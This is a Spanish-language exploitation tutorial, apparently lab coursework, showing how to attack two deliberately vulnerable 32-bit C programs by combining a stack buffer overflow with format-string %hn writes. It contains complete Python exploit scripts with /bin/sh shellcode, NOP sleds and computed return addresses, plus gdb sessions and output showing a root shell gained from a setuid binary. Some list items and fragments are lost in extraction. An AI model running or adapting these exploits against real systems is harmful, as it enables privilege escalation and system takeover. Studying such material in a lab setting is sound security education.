int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];
strcpy(buf,argc[1]);
printf("%s%hn\n",buf,plen);
while(zero);
}
El programa vulnerable copia en buf
el primer parámetro ingresado por el usuario. Imprime por salida estándar el contenido de buf
y guarda en plen
la cantidad de bytes impresos. Si la variable zero
se mantiene intacta el loop while(zero)
no se ejecuta y el proceso finaliza.
user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o fs1 fs1.c
user@abos:~$ sudo chown root ./fs1; sudo chmod u+s ./fs1 ; root owner & setuid
user@abos:~$ ./fs1 AAAAA
AAAAA
user@abos:~$ ./fs1 BBBBBBB
BBBBBBB
main
, de manera colateral se pisa el valor de zero
provocando un loop infinito. Frente a esto el proceso nunca retorna y la reescritura de la dirección de retorno en la pila es inútil.[ebp-264] = buf
[ebp-8] = plen
[ebp-4] = zero
[ebp] = ebp anterior
[ebp+4] = dirección de retorno
La reescritura de la dirección de retorno de main
a través de un desbodamiento de búfer -en la función strcpy
- obliga a sobreescribir la variable zero
(por su ubicación en la pila entre buf
y la dirección de retorno). Para que el ataque funcione es necesario que main
retorne y por ende que zero
continúe siendo 0.
Consideraciones: no es plausible como solución sobreescribir
zero
con el valor numérico de0000
. Como el desbordamiento de bufer se logra a travésstrcpy
, una función que manipula strings, si optamos por escribir enzero
el string “0000” estaríamos almacenando enzero
el código ascii:0x30303030
. Y por ende no lograríamos el objetivo de que el programa retorne.
Para solucionar este escollo es necesario combinar el ataque de desbordamiento de búfer con un ataque del tipo format string.
Este ataque tomará dos pasos. Primero, aprovechar strcpy(buf,argc[1])
para inyectar el shellcode y sobreescribir la dirección de retorno de main()
almacenada en la pila para que apunte a él. Y en un segundo paso, aprovechamos printf("%s%hn\n",buf,plen)
para volver a zero = 0
de manera indirecta a través de plen
, gracias a una vulnerabilidad del tipo format string. Paso a paso la estrategia será la siguiente:
Primera parte: aprovechando el código strcpy(buf,argc[1])
:
buf
.plen
para que apunte a zero
.main()
para que apunte a buf
.Segunda parte: aprovechando printf("%s%hn\n",buf,plen)
:
plen
. %n
escribe la cantidad de bytes impresos en la dirección especificada. Cuando se lo utiliza como %hn
como en este caso (con una h
de half como formato adicional de longitud) va a escribir la cantidad de caracteres impresos pero en un short de 2 bytes.Gracias al desbordamiento de búfer previo, plen
apunta a zero
. El primer %s
del format string va a imprimir el string en buf
hasta llegar a un caracter nulo, si logramos que la extensión de ese string sea de 10000 en hexa -como %hn
escribe sólo dos bytes- logramos escribir 0000
en plen
(quedando descartado el 1 inicial de (1)0000).
Entonces como plen
apunta a zero
si manipulamos adecuadamente la extensión de buf
logramos el objetivo de que zero = 0
indirectamente a través de plen
.
Con ello evitamos el loop infinito del while(zero)
y logramos que main
retorne al código malicioso inyectado en el primer paso.
Para lograrlo llevamos a cabo los siguientes pasos.
Identificamos la dirección de buf
en gdb
Consideraciones: como el argumento que le vamos a pasar a
strcpy
se almacena en la pila, su longitud afecta el cálculo de la dirección debuf
. En este caso sabemos que la longitud total del argumento (es decir la cantidad de caracteres que va a imprimirprintf
) debe ser de0x(1)0000
que en decimal es65536
.
Por eso para conocer la dirección que tendrábuf
debugeamos el programa con un argumento cualquiera pero de esa longitud.
Armamos un archivo en Python para ingresar el input: exploit.py
#! /usr/bin/env python
import sys
exploit = "A" * 65536 # 0x1000 == 65536
sys.stdout.write(exploit)
Y ejecutamos el programa vulnerable con ese argumento para conocer la dirección de buf
:
$ ../r.sh gdb ./fs1
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
(gdb) break main
(gdb) r "$(./exploit.py)"
(gdb) break 6
(gdb) c
Continuing.
Breakpoint 2, main (argv=3, argc=0xbffff814) at fs1.c:6
6 strcpy(buf,argc[1]);
(gdb) x/wx buf
0xbffef680: 0x00000000
La dirección de buf
es entonces 0xbffef680
.
Planificamos el argumento de entrada
buf
.plen
apunte a zero
.zero
(porque vamos a pisar su valor).ebp
.plen
(que apuntará a zero
).Con eso en mente editamos el archivo en Python con el argumento definitivo: exploit.py
#! /usr/bin/env python
import sys
from struct import pack
#pwn a shell
shellcode = "\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08"
shellcode += "\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2"
shellcode += "\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8"
shellcode += "\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += "\x41\x42\x42\x42\x42\x43\x43\x43\x43"
buf_size = 256
buf_addr = 0xbffef680
zero_addr = buf_addr + buf_size + 4 + 2 #addr zero (4 bytes: int plen; 2 bytes: short int zero)
exploit = "\x90" * 80 #nop sled
exploit += shellcode #shellcode
exploit += "\x42" * (256-80-len(shellcode)) #fill buf
#total: 256 bytes
exploit += pack("<I", zero_addr) #plen -> &zero
exploit += "AAAA" #basura en zero
exploit += pack("<I", buf_addr) #basura -addr existente- en ebp
exploit += pack("<I", buf_addr) #ret addr -> &shellcode
#total: 16 bytes
exploit += "B" * (65536-256-16) #%hn contabiliza 0x10000 o 65536 bytes (*plen = 0000)
sys.stdout.write(exploit)
Ejecutamos el exploit
user@abos:~$ ../r.sh ./fs1 "$(./exploit.py)"
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
# whoami
root
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user),27(sudo)
#
Gráficamente logramos el siguiente resultado:
…………………………………………………………………………………………………………………………………………………
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}
El programa vulnerable espera dos argumentos de entrada. Copia en buf
el primer argumento ingresado por el usuario. El format string de snprintf
indica que espera un puntero a un string, dos valores del tipo caracter y otro puntero a dónde se va a guardar la cantidad de bytes impresos (número almacenado en dos bytes). Se reiteran estos pasos con el segundo argumento ingresado.
snprintf(char *buf, size_t size, const char *format, ...)
almacena en la salida (es decir, en buf
) sólo el tamaño indicado por size
.%hn
como parámetro escribe la cantidad de bytes impresos únicamente en dos bytes. Mientras que la dirección que necesitamos sobreescribir tiene 4 bytes.Estado de la pila antes de ejecutar el primer snprintf
:
int main(int argv,char **argc) {
char buf[256];
eip => snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}
Con el primer call
a snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1])
se apilan sus parámetros de la siguiente manera:
El gráfico del estado de la pila al hacer el llamado a snprintf
muestra cómo esa función de formato obtiene de la pila los parámetros de formato "%s%c%c%hn"
. ese es el contenido que almacena en buf
.
snprintf()
:La función snprintf(char *buf, size_t size, const char *format, ...)
almacena en buf
sólo el tamaño indicado por size
. En este caso snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1])
escribe en buf
256 bytes que es el tamaño de buf
que se pasa como parámetro. Independientemente de eso, el parámetro de formato %hn
escribe en una dirección dada la cantidad total de bytes impresos pudiendo ser mayor que el tamaño de buf
.
Por ejemplo, si tuviesemos una llamada snprintf(buf, 256, "%s%n", &txt, &num_caracteres)
y sabemos que len(txt)
es 1024. Aunque en buf se copien 256 bytes (el size que se le pasa por parámetro), en num_caracteres
se va a escribir el número 1024, es decir el total de bytes impresos.
Esto permite aprovecharnos del format string para lograr una escritura arbitraria manipulando la cantidad total de caracteres impresos, sin importar la restricción del tamaño de buf
.
Aprovechando esa peculiaridad vamos a sobreesribir la dirección de retorno de main
almacenada en la pila para que apunte al shellcode.
Al igual que antes este ataque toma dos partes:
Primera parte: con snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1])
inyectamos el shellcode en buf
y -manipulando el total de bytes impresos- aprovechamos el parámetro %hn
para sobreescribir los dos primeros bytes de la dirección de retorno de main
con parte de la dirección de buf
.
Segunda parte: con snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2])
aprovechando también %hn
sobrescribimos los otros dos bytes de la dirección de retorno.
Para lograrlo llevamos a cabo los siguientes pasos.
main()
buf
%hn
para sobreescribir en la dirección de retorno de main
snprintf
sea igual a la dirección de buf
. buf
.Consideraciones:
- Fallo en tobogán de NOPs: con esta estrategia el tobogán de NOPs que debe desembocar en el shellcode, se detiene erróneamente en la dirección de retorno apilada al comienzo debuf
(en el gŕafico&ret_addr
). Esa dirección de retorno es importante ya que le indica al parámetro%hn
dónde escribir.
Es necesaria una modificación para que los primeros bytes debuf
hagan un jump que se saltee esa dirección de retorno y siga por el tobogán de NOPs hasta el shellcode. Para eso se incluye al principio debuf
el código\xeb\x0a
que es el código máquina de la instrucciónjmp 0xc
. De manera que al retornarmain
se desemboca enbuf
, se hace un salto de 12 bytes y se cae en el tobogán de NOPs que finalmente desembocan en el shellcode.
Entonces para incluir el jump que evite el fallo en el tobogán de NOPs, el layout de pila deseado es:
Identificamos la dirección de buf
Para averiguar la dirección de buf
es necesario volver a tener en cuenta la cuestión del padding.
En casos como: printf("%s",argc[1])
al string de entrada se lo pasamos como un argumento y por ende se almacena en la pila. Sumar un byte al final del string modifica los offsets en la pila y complejiza el cálculo de direcciones de memoria.
Pasando siempre argumentos de igual longitud fijamos los offsets de la pila. Para eso llamamos al programa con un argumento extra que funciona como “padding” y es relativo a la longitud del resto de los argumentos. Así logramos consistencia en las direcciones de memoria sin importar que modifiquemos los bytes de longitud del/los string/s de entrada.
Creamos el archivo exploit.py
para probar el padding:
#! /usr/bin/env python
import sys
exploit= "BBBB" ; acá puede ir cualquier cosa
padding = "A" * (100000 - len(exploit))
if sys.argv[1] == "1":
sys.stdout.write(exploit)
elif sys.argv[1] == "2":
sys.stdout.write(padding)
Y averiguamos la dirección de buf
pasándole ambos argumentos:
user@abos:~$ ./r.sh gdb ./fs2 "$(./exploit.py 1)" "$(./exploit.py 2)"
(gdb) break main
(gdb) r "$(./exploit.py 1)" "$(./exploit.py 2)"
Breakpoint 1, main (argv=3, argc=0xbffe7154) at fs2.c:7
7 snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
(gdb) x/wx buf
0xbffe6fb8: 0x00000001
Como siempre vamos a usar el mismo padding, es decir los argumentos van a tener siempre la misma longitud aunque editemos el bytecode del exploit, podemos estar seguros de que la dirección de buf
en el exploit definitivo va a ser también 0xbffe6fb8
.
Editamos el archivo exploit.py
para pasar ambos inputs.
Como dijimos nos cuidamos de incluir el jump para evitar que se interrumpa el tobogán de NOPs antes de llegar al shellcode.
Y recordemos que sólo podemos sobreescribir la dirección de retorno de a dos bytes. Es por ello que al incluirla en el exploit la desglosamos en los dos bytes menos significativos de esa dirección (ret_addr_low
) y los dos bytes más significativos ( ret_addr_high
). Lo mismo sucede con la dirección de buf
que vamos a escribir allí, con el primer input escribirmos la parte menos significativa de esa dirección (buf_addr_low
) y con el segundo input escribimos los dos bytes más significativos (buf_addr_high
).
#! /usr/bin/env python
"""Uso: ./fs2 "$(./exploit.py 1)" "$(./exploit.py 2)" "$(./exploit.py 3)" """
import sys
from struct import pack
shellcode = "\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c"
shellcode += "\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"
shellcode += "\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f"
shellcode += "\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
buf_size = 256
buf_addr = 0xbffe6fb8
buf_addr_low = (buf_addr >> 0) & 0x0000ffff
buf_addr_high = (buf_addr >> 16) & 0x0000ffff
ret_addr_low = buf_addr + buf_size + 4 + 0
ret_addr_high = buf_addr + buf_size + 4 + 2
exploit_argv1 = "\xeb\x0a" + "\x90" * 2 # \xeb\x0a == jmp 0xc
exploit_argv1 += "\x90" * 4
exploit_argv1 += pack("<I", ret_addr_high)
exploit_argv1 += "\x90" * 40
exploit_argv1 += shellcode
exploit_argv1 += "A" * (buf_addr_high - len(exploit_argv1) - 2)
exploit_argv2 = "\xeb\x0a" + "\x90" * 2 # \xeb\x0a == jmp 0xc
exploit_argv2 += "\x90" * 4
exploit_argv2 += pack("<I", ret_addr_low)
exploit_argv2 += "\x90" * 40
exploit_argv2 += shellcode
exploit_argv2 += "A" * (buf_addr_low - len(exploit_argv2) - 2)
padding = "A" * (100000 - len(exploit_argv1) - len(exploit_argv2) - 2)
if sys.argv[1] == "1":
sys.stdout.write(exploit_argv1)
elif sys.argv[1] == "2":
sys.stdout.write(exploit_argv2)
elif sys.argv[1] == "3":
sys.stdout.write(padding)
user@abos:~$ ./fs2 "$(./exploit.py 1)" "$(./exploit.py 2)" "$(./exploit.py 3)"
process 1537 is executing new program: /bin/dash
$
Gráficamente logramos el siguiente resultado:
buf
de 2 bytes.int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}